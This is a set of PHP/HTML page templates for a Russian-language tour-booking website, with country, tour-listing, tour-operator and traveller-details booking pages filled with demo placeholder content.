<div class="country-photo-slider">
<div class="item">
<a href="DEMO/sh-tour-filtered.jpg" class="fancybox" rel="country-gallery">
<img src="DEMO/sh-tour-filtered.jpg" alt="">
<span class="country-photo-zoom"><i class="fa fa-search-plus" aria-hidden="true"></i></span>
</a>
</div>
<div class="item">
<a href="DEMO/tour-item-5.jpg" class="fancybox" rel="country-gallery">
<img src="DEMO/tour-item-5.jpg" alt="">
<span class="country-photo-zoom"><i class="fa fa-search-plus" aria-hidden="true"></i></span>
</a>
</div>
<?php for($i=1;$i<=8;$i++){ ?>
<div class="item">
<a href="DEMO/country-photo<?php echo rand(1,4); ?>.jpg" class="fancybox" rel="country-gallery">
<img src="DEMO/country-photo<?php echo rand(1,4); ?>.jpg" alt="">
<span class="country-photo-zoom"><i class="fa fa-search-plus" aria-hidden="true"></i></span>
</a>
</div>
<?php } ?>
</div>
</div>
</div>
<!-- country photo end -->
<!-- country video begin -->
<div class="country-video hidden-xs">
<div class="container">
<a href="http://www.youtube.com/watch?v=yqVgDLXHUV4" data-rel="media" class="country-video-link fancybox">
<div class="country-video-content">
<h3 class="country-video-name">Вьетнам</h3>
<h5 class="country-video-helptext">Презентационный ролик</h5>
<span class="country-video-icon"><i class="fa fa-play" aria-hidden="true"></i></span>
</div>
</a>
</div>
</div>
<!-- country video end -->
<!-- country resorts links begin -->
<div class="country-resorts-links">
<div class="container">
<h3 class="country-part-header">популярные курорты вьетнама</h3>
<div class="country-resorts-links-list">
<div class="row">
<div class="col-md-3 col-sm-4">
<ul class="country-resorts-links-menu">
<li>
<a href="#">Пунта-канна</a>
<span class="balls">6.0</span>
</li>
<li>
<a href="#">Пляж Баваро</a>
<span class="balls">8.4</span>
</li>
<li>
<a href="#">Санто-доминго</a>
<span class="balls">6.0</span>
</li>
<li>
<a href="#">Самана</a>
<span class="balls">8.4</span>
</li>
<li>
<a href="#">Кап-каппа</a>
<span class="balls">8.2</span>
</li>
</ul>
</div>
<div class="col-md-3 col-sm-4 hidden-xs">
<ul class="country-resorts-links-menu">
<li>
<a href="#">Пунта-канна</a>
<span class="balls">6.0</span>
</li>
<li>
<a href="#">Пляж Баваро</a>
<span class="balls">8.4</span>
</li>
<li>
<a href="#">Санто-доминго</a>
<span class="balls">6.0</span>
</li>
<li>
<a href="#">Самана</a>
<span class="balls">8.4</span>
</li>
<li>
<a href="#">Кап-каппа</a>
<span class="balls">8.2</span>
</li>
</ul>
</div>
<div class="col-md-3 col-sm-4 hidden-xs">
<ul class="country-resorts-links-menu">
<li>
<a href="#">Пунта-канна</a>
<span class="balls">6.0</span>
</li>
<li>
<a href="#"><NAME></a>
<span class="balls">8.4</span>
</li>
<li>
<a href="#">Санто-доминго</a>
<span class="balls">6.0</span>
</li>
<li>
<a href="#">Самана</a>
<span class="balls">8.4</span>
</li>
<li>
<a href="#">Кап-каппа</a>
<span class="balls">8.2</span>
</li>
</ul>
</div>
<div class="col-md-3 hidden-sm hidden-xs">
<ul class="country-resorts-links-menu">
<li>
<a href="#">Пунта-канна</a>
<span class="balls">6.0</span>
</li>
<li>
<a href="#"><NAME></a>
<span class="balls">8.4</span>
</li>
<li>
<a href="#">Санто-доминго</a>
<span class="balls">6.0</span>
</li>
<li>
<a href="#">Самана</a>
<span class="balls">8.4</span>
</li>
<li>
<a href="#">Кап-каппа</a>
<span class="balls">8.2</span>
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
<!-- country resorts links end -->
<!-- country notfound begin -->
<div class="country-notfound">
<div class="container">
<div class="row">
<div class="col-md-8 col-sm-7">
<h2 class="country-notfound-header"><strong>Не нашли</strong> что искали?</h2>
<p class="country-notfound-text">Мы с радостью ответим на все ваши вопросы.<br> Просто оставьте номер Вашего телефона.</p>
</div>
<div class="col-md-4 col-sm-5">
<form class="country-notfound-form">
<input type="text" class="form-control phone-mask" placeholder="+7 (___) ___ __ __">
<button class="form-send btn btn_black">
<span class="text1">Ок</span>
<span class="text2"><i class="fa fa-check" aria-hidden="true"></i></span>
</button>
</form>
<p class="country-notfound-call">
<span class="text1">Перезвоним за <strong>25 секунд</strong></span>
<span class="text2">Спасибо. Ваша заявка принята</span>
</p>
</div>
</div>
</div>
</div>
<!-- country notfound end -->
</div>
<!-- country end -->
<script type="text/javascript" src="https://maps.googleapis.com/maps/api/js?sensor=false"></script><file_sep>/tour-by-country.php
<?php
/***********************************
* Created by Devorans.com
* Author: Admin
* File: tour-by-country.php
* Project: tour
* Date: 20.10.2015
* Feedback: <EMAIL>
************************************/ ?>
<div id="sub-header" class="xxs-compact" style="background-image:url('/DEMO/sh-tour-by-country.jpg')">
<h3 class="hidden-xxs">Горящие туры и путевки во Францию</h3>
</div>
<div class="container" id="filters">
<div class="row">
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-6 big">
<span class="hidden-xs">Отправление из</span>
<span class="hidden-xs dropdown-text">Екатеринбурга</span>
<div class="btn-group visible-xs">
<button type="button" class="btn dropdown-toggle" data-toggle="dropdown">Откуда<span
class="caret"></span></button>
<ul class="dropdown-menu">
<li><a href="#">Аквапарки</a></li>
<li><a href="#">Бизнес</a></li>
<li><a href="#">Гастротуризм</a></li>
<li><a href="#">Греция</a></li>
<li><a href="#">Дети</a></li>
<li><a href="#">Египет</a></li>
<li><a href="#">Интересное</a></li>
</ul>
</div>
</div>
<div class="clearfix visible-xs"></div>
<div class="hidden-xs col-sm-6 col-md-6 col-lg-6 text-right big">
<span>Валюта</span>
<span class="dropdown-text">RUB<span class="caret"></span></span>
<span class="view-change"><a class="active" href="#">Плиткой</a><a href="#">Списком</a></span>
</div>
<div class="col-xs-12 col-sm-5 col-md-3 col-lg-3">
<div class="btn-group country">
<button type="button" class="btn dropdown-toggle" data-toggle="dropdown">
<span class="caret"></span>
<span class="hidden-xs">Выберите курорт</span>
<span class="visible-xs-inline">Куда</span>
</button>
<ul class="dropdown-menu">
<li><a href="#">Аквапарки</a></li>
<li><a href="#">Бизнес</a></li>
<li><a href="#">Гастротуризм</a></li>
<li><a href="#">Греция</a></li>
<li><a href="#">Дети</a></li>
<li><a href="#">Египет</a></li>
<li><a href="#">Интересное</a></li>
</ul>
</div>
</div>
<div class="hidden-xs col-sm-7 col-md-6 col-lg-7 intervals">
<span>Отправление:</span>
<span class="dropdown-text">22.10.15</span>
<span style="margin-left: 20px;">Едем на:</span>
<span class="dropdown-text">5-7 Дней</span>
</div>
<div class="clearfix visible-sm visible-xs"></div>
<div class="col-xs-12 col-sm-4 col-md-3 col-lg-2 pull-right text-right people-count">
<span class="hidden-sm hidden-xs">Нас едет</span>
<label class="count-input">
<span class="pull-right minus">-</span>
<span class="pull-left plus">+</span>
<input type="number" step="1" min="1" max="27" value="2">
</label>
<div class="btn-group visible-xs">
<button type="button" class="btn dropdown-toggle" data-toggle="dropdown"><span class="caret"></span>RUB
</button>
<ul class="dropdown-menu">
<li><a href="#">USD</a></li>
<li><a href="#">EUR</a></li>
</ul>
</div>
</div>
<div class="visible-xs col-xs-12">
<div class="btn-group visible-xs" style="width:50%;float:left">
<button type="button" class="btn dropdown-toggle" data-toggle="dropdown">До вылета<span
class="caret"></span></button>
<ul class="dropdown-menu">
<li><a href="#">USD</a></li>
<li><a href="#">EUR</a></li>
</ul>
</div>
<div class="btn-group visible-xs" style="width:50%;float:left;padding-left:1px">
<button type="button" class="btn dropdown-toggle" data-toggle="dropdown">Едем на<span
class="caret"></span></button>
<ul class="dropdown-menu">
<li><a href="#">USD</a></li>
<li><a href="#">EUR</a></li>
</ul>
</div>
</div>
</div>
</div>
<div class="container">
<div class="row">
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb">
<img src="/DEMO/tour-item-1.jpg">
<a href="#" class="like"></a>
<a href="#" class="onmap">На карте</a>
<div class="stars">
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star active"></i>
<i class="glyphicon glyphicon-star"></i>
<span>~ 4.2</span>
</div>
<a href="#" class="rept">Отзывы (42)</a>
</div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2>Aktas Hotel
<small>Китай, Пекин, 25 км от аэропорта</small>
</h2>
<div class="price">34 200 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb">
<img src="/DEMO/tour-item-2.jpg">
</div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2>Poly Plaza Hotel
<small>Китай, Пекин, 25 км от аэропорта</small>
</h2>
<div class="price">146 300 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb">
<img src="/DEMO/tour-item-3.jpg">
<span class="sale" data-perc="20"></span>
</div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2>Ping An Fu
<small>Китай, Пекин, Средний Чаоян, 25 км от аэропорта</small>
</h2>
<div class="price">28 500 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb"><img src="/DEMO/tour-item-4.jpg"></div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2>Poly Plaza Hotel
<small>Китай, Пекин, 25 км от аэропорта</small>
</h2>
<div class="price">146 300 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb"><img src="/DEMO/tour-item-5.jpg"></div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2>Ping An Fu
<small>Китай, Пекин, 25 км от аэропорта</small>
</h2>
<div class="price">34 200 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4">
<div class="tour-block">
<div class="thumb"><img src="/DEMO/tour-item-1.jpg"></div>
<div class="sub-thumb">
<span class="pull-left">Завтраки</span>
<span class="pull-right">Вылеты 9 октября - 13 ноября</span>
</div>
<div class="info">
<h2>Poly Plaza Hotel
<small>Китай, Пекин, 25 км от аэропорта</small>
</h2>
<div class="price">34 200 <i class="fa fa-rub"></i>
<small>на всех</small>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="more"><a href="#">Загрузить еще</a></div><file_sep>/operators.php
<?php
/***********************************
* Created by Devorans.com
* Author: Admin
* File: operators.php
* Project: tour
* Date: 20.10.2015
* Feedback: <EMAIL>
************************************/ ?>
<div id="sub-header" class="xxs-compact" style="background-image:url('/DEMO/sh-operators.jpg')">
<h3 class="hidden-xxs">Популярные туроператоры</h3>
</div>
<div class="container" style="margin:40px auto">
<h3 class="visible-xxs text-center">Популярные туроператоры</h3>
<div class="row">
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/1.png">
<div class="hover">
<div>
<h3>Алеан</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/2.png">
<div class="hover">
<div>
<h3>Арт Тур</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/3.png">
<div class="hover">
<div>
<h3>Данко трэвел компани</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/4.jpg">
<div class="hover">
<div>
<h3>Интурист</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/5.png">
<div class="hover">
<div>
<h3>Пегас</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/6.png">
<div class="hover">
<div>
<h3>СанрайзТур</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/7.png">
<div class="hover">
<div>
<h3>ТУИ</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/8.png">
<div class="hover">
<div>
<h3>Амигос</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/9.png">
<div class="hover">
<div>
<h3><NAME></h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/10.jpg">
<div class="hover">
<div>
<h3>Девису</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/11.png">
<div class="hover">
<div>
<h3>КоралТравел</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/12.png">
<div class="hover">
<div>
<h3>Русский Экспресс</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/13.jpg">
<div class="hover">
<div>
<h3>Тэз Тур</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/14.jpg">
<div class="hover">
<div>
<h3>ТВояж</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/15.png">
<div class="hover">
<div>
<h3><NAME></h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/16.png">
<div class="hover">
<div>
<h3>Бриско</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/17.png">
<div class="hover">
<div>
<h3>Дельфин</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/18.png">
<div class="hover">
<div>
<h3>Пакс</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/19.png">
<div class="hover">
<div>
<h3>Санмар</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
<div class="col-xs-6 col-sm-4 col-md-3">
<div class="operator">
<img src="/DEMO/operators/20.png">
<div class="hover">
<div>
<h3>Трансаэро тур</h3>
</div>
<div>
<div>
<a href="/?p=operator" class="btn">Подробнее</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div><file_sep>/tour-2.php
<?php
/***********************************
* Created by Devorans.com
* Author: Admin
* File: hotel.php
* Project: tour
* Date: 20.10.2015
* Feedback: <EMAIL>
************************************/?>
<div id="sub-header" class="sub-header_hotel xxs-compact" style="background-image:url('/img/bg-sub-header-hotel.jpg')">
</div>
<!-- <div class="design"></div> -->
<!-- tour -->
<div class="tour-page tour-page_2">
<div class="container">
<div class="row">
<div class="col-md-8">
<div class="col-md-11 col-md-offset-1 xs-nopadding">
<div class="tour-page_2-container">
<h1 class="tour-page--title">PORTO AZZURRO CLUB MARE</h1>
<h5 class="tour-page--location">Китай, Пекин, 25 км от аэропорта</h5>
<div class="tour-page--rating visible-xs">
<ul class="stars">
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
</ul>
<span class="number">~ 4,7</span>
</div>
<div class="tour-page-info tour-page_2-info row">
<div class="col-md-8 col-sm-8">
<ul class="tour-page--stages">
<li class="tour-page--stage tour-page--stage_success"></li>
<li class="tour-page--stage tour-page--stage_current">Шаг 2. Данные туристов</li>
<li class="tour-page--stage">3</li>
</ul>
</div>
<div class="col-md-4 col-sm-4 text-right no-rightpadding hidden-xs">
<div class="tour-page--rating">
<ul class="stars">
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
</ul>
<span class="number">~ 4,7</span>
</div>
</div>
</div>
<div class="tour-page-form">
<form action="#" class="form-tourpage">
<fieldset>
<h5 class="form-tourpage--header">
Турист #1. <span class="hidden-xs">На него мы оформляем договор</span>
<a href="#" class="form-tourpage--header-toggle"><span class="icons-arrow-up_white"></span></a>
</h5>
<div class="inputs-container">
<span class="visible-xs">На него мы оформляем договор</span>
<div class="form-group row">
<div class="col-sm-4 col-sm-offset-1 hidden-xs">
<label class="control-label">Фамилия</label>
</div>
<div class="col-sm-7">
<input type="text" class="form-control" placeholder="Ivanov">
</div>
</div>
<div class="form-group row">
<div class="col-sm-4 col-sm-offset-1 hidden-xs">
<label class="control-label">Имя</label>
</div>
<div class="col-sm-7">
<input type="text" class="form-control" placeholder="Ivan">
</div>
</div>
<div class="form-group row">
<div class="col-sm-4 col-sm-offset-1 hidden-xs">
<label class="control-label">Электронная почта</label>
</div>
<div class="col-sm-7">
<input type="email" class="form-control" placeholder="<EMAIL>">
</div>
</div>
<div class="form-group row">
<div class="col-sm-4 col-sm-offset-1 hidden-xs">
<label class="control-label">Номер телефона</label>
</div>
<div class="col-sm-7">
<input type="text" class="form-control" placeholder="+7 (...)...—..—..">
</div>
</div>
<div class="form-group row">
<div class="col-sm-4 col-sm-offset-1 hidden-xs">
<label class="control-label">Номер загранпаспорта</label>
</div>
<div class="col-sm-7">
<input type="text" class="form-control" placeholder="71 3354587">
</div>
</div>
<div class="form-group row">
<div class="col-sm-4 col-sm-offset-1 hidden-xs">
<label class="control-label">Кем выдан</label>
</div>
<div class="col-sm-7">
<input type="text" class="form-control" placeholder="ФМС 78008">
</div>
</div>
<div class="form-group row">
<div class="col-sm-4 col-sm-offset-1 hidden-xs">
<label class="control-label">Дата выдачи</label>
</div>
<div class="col-sm-7">
<input type="date" class="form-control" placeholder="09.10.2011">
</div>
</div>
<div class="form-group row">
<div class="col-sm-4 col-sm-offset-1 hidden-xs">
<label class="control-label">Действителен до</label>
</div>
<div class="col-sm-7">
<input type="date" class="form-control" placeholder="">
</div>
</div>
</div>
</fieldset>
<fieldset>
<h5 class="form-tourpage--header">
Турист #2.
<a href="#" class="form-tourpage--header-toggle"><span class="icons-arrow-up_white"></span></a>
</h5>
<div class="inputs-container">
<div class="form-group row">
<div class="col-sm-4 col-sm-offset-1 hidden-xs">
<label class="control-label">Фамилия</label>
</div>
<div class="col-sm-7">
<input type="text" class="form-control" placeholder="Ivanov">
</div>
</div>
<div class="form-group row">
<div class="col-sm-4 col-sm-offset-1 hidden-xs">
<label class="control-label">Имя</label>
</div>
<div class="col-sm-7">
<input type="text" class="form-control" placeholder="Ivan">
</div>
</div>
<div class="form-group row">
<div class="col-sm-4 col-sm-offset-1 hidden-xs">
<label class="control-label">Номер загранпаспорта</label>
</div>
<div class="col-sm-7">
<input type="text" class="form-control" placeholder="71 3354587">
</div>
</div>
<div class="form-group row">
<div class="col-sm-4 col-sm-offset-1 hidden-xs">
<label class="control-label">Кем выдан</label>
</div>
<div class="col-sm-7">
<input type="text" class="form-control" placeholder="ФМС 78008">
</div>
</div>
<div class="form-group row">
<div class="col-sm-4 col-sm-offset-1 hidden-xs">
<label class="control-label">Дата выдачи</label>
</div>
<div class="col-sm-7">
<input type="date" class="form-control" placeholder="09.10.2011">
</div>
</div>
<div class="form-group row">
<div class="col-sm-4 col-sm-offset-1 hidden-xs">
<label class="control-label">Действителен до</label>
</div>
<div class="col-sm-7">
<input type="date" class="form-control" placeholder="">
</div>
</div>
<br>
<div class="form-group row">
<div class="col-sm-11 col-sm-offset-1">
<label class="custom-checkbox_grey">
<input type="checkbox">
<span></span>
<div>
<p>Совершая действия по оплате туристского продукта, я подтверждаю, что ознакомлен и согласен со всеми положениями <a href="#">договора-оферты</a>. Совершение действий по оплате признаю безоговорочным акцептом договора-оферты. Я выражаю свое письменное согласие на обработку персональных данных, которые будут сообщены мной при заключении или в ходе исполнения договора. </p>
<p>Я подтверждаю наличие у меня полномочий на предоставление и обработку персональных данных иных лиц, указанных в заявке/договоре.</p>
</div>
</label>
</div>
</div>
</div>
</fieldset>
<div class="visible-xs visible-sm">
<div class="row">
<div class="col-sm-11 col-sm-offset-1">
<button class="btn btn-green tour-page-buy">перейти к оплате</button>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
<div class="col-md-4 text-center hidden-sm hidden-xs">
<div class="tour-page_2-price">
<div class="tour-page_2-price--info">
<h5>Информация о туре</h5>
<ul class="tour-page_2-price--list">
<li>
<div class="icon"><span class="icons-tour-night"></span></div>
<div class="content">9 ночей / 10 дней<br> 2 взрослых</div>
</li>
<li>
<div class="icon"><span class="icons-tour-transport"></span></div>
<div class="content">04 января эконом, Finnair<br> 08 января эконом</div>
</li>
<li>
<div class="icon"><span class="icons-tour-med"></span></div>
<div class="content">Медицинская Страховка Групповой трансфер Страховка от невыезда</div>
</li>
</ul>
<div class="tour-page_2-price--price">
Итого:
<span>43 352 <i class="fa fa-rub"></i></span>
</div>
</div>
<a href="#" class="btn btn-green tour-page-buy">перейти к оплате</a>
</div>
</div>
</div>
</div>
<!-- <div class="container">
<div class="row">
<div class="col-md-9 col-sm-8">
<h1 class="tour-page--title">PORTO AZZURRO CLUB MARE</h1>
<div class="tour-page-info row">
<div class="col-md-8">
<h5 class="tour-page--location">Китай, Пекин, 25 км от аэропорта</h5>
</div>
<div class="col-md-4 text-right no-rightpadding hidden-sm">
<div class="tour-page--rating">
<ul class="stars">
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
</ul>
<span class="number">~ 4,7</span>
</div>
</div>
</div>
<div class="tour-page--infoafter row">
<div class="col-md-12">
<ul class="tour-page--stages">
<li class="tour-page--stage tour-page--stage_current">Шаг 1. Информация о туре</li>
<li class="tour-page--stage">2</li>
<li class="tour-page--stage">3</li>
</ul>
</div>
</div>
<div class="tour-page-price">
<h6 class="tour-page-price--header">Цена тура</h6>
<div class="tour-page-price--info">
<div class="tour-page-price--info-content">
<span class="price">35 700 <i class="fa fa-rub" aria-hidden="true"></i></span>
<div class="tour-page--textincludes">Вы можете оплатить сегодня <strong>26 639</strong> руб., а остальную часть — в течение 3 дней.</div>
</div>
<div class="tour-page-price--info-button hidden-xs">
<a href="#" class="btn btn-lg btn-green tour-page-buy">купить тур</a>
</div>
</div>
</div>
</div>
<div class="col-md-3 col-sm-4">
<div class="visible-sm text-right">
<div class="tour-page--rating">
<ul class="stars">
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
<li><i class="fa fa-star" aria-hidden="true"></i></li>
</ul>
<span class="number">~ 4,7</span>
</div>
</div>
<div class="tour-page-slider hidden-xs">
<div class="slide"><a href="#"><img src="DEMO/tour-slider/slide1.jpg" alt=""></a></div>
<div class="slide"><a href="#"><img src="DEMO/tour-slider/slide2.jpg" alt=""></a></div>
<div class="slide"><a href="#"><img src="DEMO/tour-slider/slide3.jpg" alt=""></a></div>
<div class="slide"><a href="#"><img src="DEMO/tour-slider/slide4.jpg" alt=""></a></div>
<div class="slide"><a href="#"><img src="DEMO/tour-slider/slide4.jpg" alt=""></a></div>
<div class="slide"><a href="#"><img src="DEMO/tour-slider/slide3.jpg" alt=""></a></div>
<div class="slide"><a href="#"><img src="DEMO/tour-slider/slide2.jpg" alt=""></a></div>
<div class="slide"><a href="#"><img src="DEMO/tour-slider/slide1.jpg" alt=""></a></div>
</div>
</div>
</div>
<h4 class="tour-page-partheader">В тур включено</h4>
</div> -->
<!-- <div class="tour-page-includes hidden-xs">
<div class="tour-page-includes--header">
<div class="container">
<ul class="tab-header">
<li class="tab-header--active">
<a href="#tab1">
<div class="icon icon-md">
<span class="icons-tourtab-1"></span>
</div>
<div class="icon icon-lg">
<span class="icons-tourtab-1_lg"></span>
</div>
<span class="text">Перелет</span>
</a>
</li>
<li>
<a href="#tab2">
<div class="icon icon-md">
<span class="icons-tourtab-2"></span>
</div>
<div class="icon icon-lg">
<span class="icons-tourtab-2_lg"></span>
</div>
<span class="text">Проживание<br> в отеле</span>
</a>
</li>
<li>
<a href="#tab3">
<div class="icon icon-md">
<span class="icons-tourtab-3"></span>
</div>
<div class="icon icon-lg">
<span class="icons-tourtab-3_lg"></span>
</div>
<span class="text">а также</span>
</a>
</li>
</ul>
</div>
</div>
<div class="tour-page-includes--content">
<div class="container">
<div class="tab-list">
<div class="tab-item">
<div class="row tour-page-includes-air">
<div class="col-md-4">
<h5>Условия перелётов могут измениться.</h5>
</div>
<div class="col-md-8">
<ul class="tour-page-includes-air--list">
<li>
<div class="icon"><span class="icons-arrow-up_small_blue"></span></div>
<div class="content">
<h5>04 января эконом, Finnair</h5>
<p>06:35 Екатеринбург, Кольцово — 06:50 Вантаа, Хельсинки-Вантаа</p>
</div>
</li>
<li>
<div class="icon"><span class="icons-arrow-down_small_orange"></span></div>
<div class="content">
<h5>08 января эконом, Finnair</h5>
<p>23:45 Вантаа, Хельсинки-Вантаа — 05:45 Екатеринбург, Кольцово</p>
</div>
</li>
</ul>
</div>
</div>
</div>
<div class="tab-item">
проживание в отеле
</div>
<div class="tab-item">
а также
</div>
</div>
</div>
</div>
</div>
<div class="tour-page-includesxs visible-xs">
<div class="tour-page-includesxs--item tour-page-includesxs--item_active">
<a href="#" class="tour-page-includesxs--header">
<span class="text">Перелет</span>
<span class="icon"><i class="fa"></i></span>
</a>
<div class="tour-page-includesxs--content">
<div class="container">
<h5 class="tour-page-includesxs--heading">Условия перелётов могут измениться.</h5>
<ul class="tour-page-includes-air--list">
<li>
<div class="icon"><span class="icons-arrow-up_small_blue"></span></div>
<div class="content">
<h5>04 января эконом, Finnair</h5>
<p>06:35 Екатеринбург, Кольцово — 06:50 Вантаа, Хельсинки-Вантаа</p>
</div>
</li>
<li>
<div class="icon"><span class="icons-arrow-down_small_orange"></span></div>
<div class="content">
<h5>08 января эконом, Finnair</h5>
<p>23:45 Вантаа, Хельсинки-Вантаа — 05:45 Екатеринбург, Кольцово</p>
</div>
</li>
</ul>
</div>
</div>
</div>
<div class="tour-page-includesxs--item">
<a href="#" class="tour-page-includesxs--header">
<span class="text">Проживание</span>
<span class="icon"><i class="fa"></i></span>
</a>
<div class="tour-page-includesxs--content">
<div class="container">проживание</div>
</div>
</div>
<div class="tour-page-includesxs--item">
<a href="#" class="tour-page-includesxs--header">
<span class="text">А также</span>
<span class="icon"><i class="fa"></i></span>
</a>
<div class="tour-page-includesxs--content">
<div class="container">а также</div>
</div>
</div>
</div>
<div class="tour-page-more">
<div class="container">
<h4 class="tour-page-partheader">вы можете заказать дополнительно</h4>
<ul class="tour-page-more-checkboxs">
<li>
<label class="custom-checkbox_big">
<input type="checkbox">
<span class="text">Страховка от невыезда: 7 552 рублей за всех</span>
</label>
</li>
<li>
<label class="custom-checkbox_big">
<input type="checkbox">
<span class="text">Путеводитель по Пекину: 499 руб.</span>
</label>
</li>
</ul>
<div class="tour-page-price">
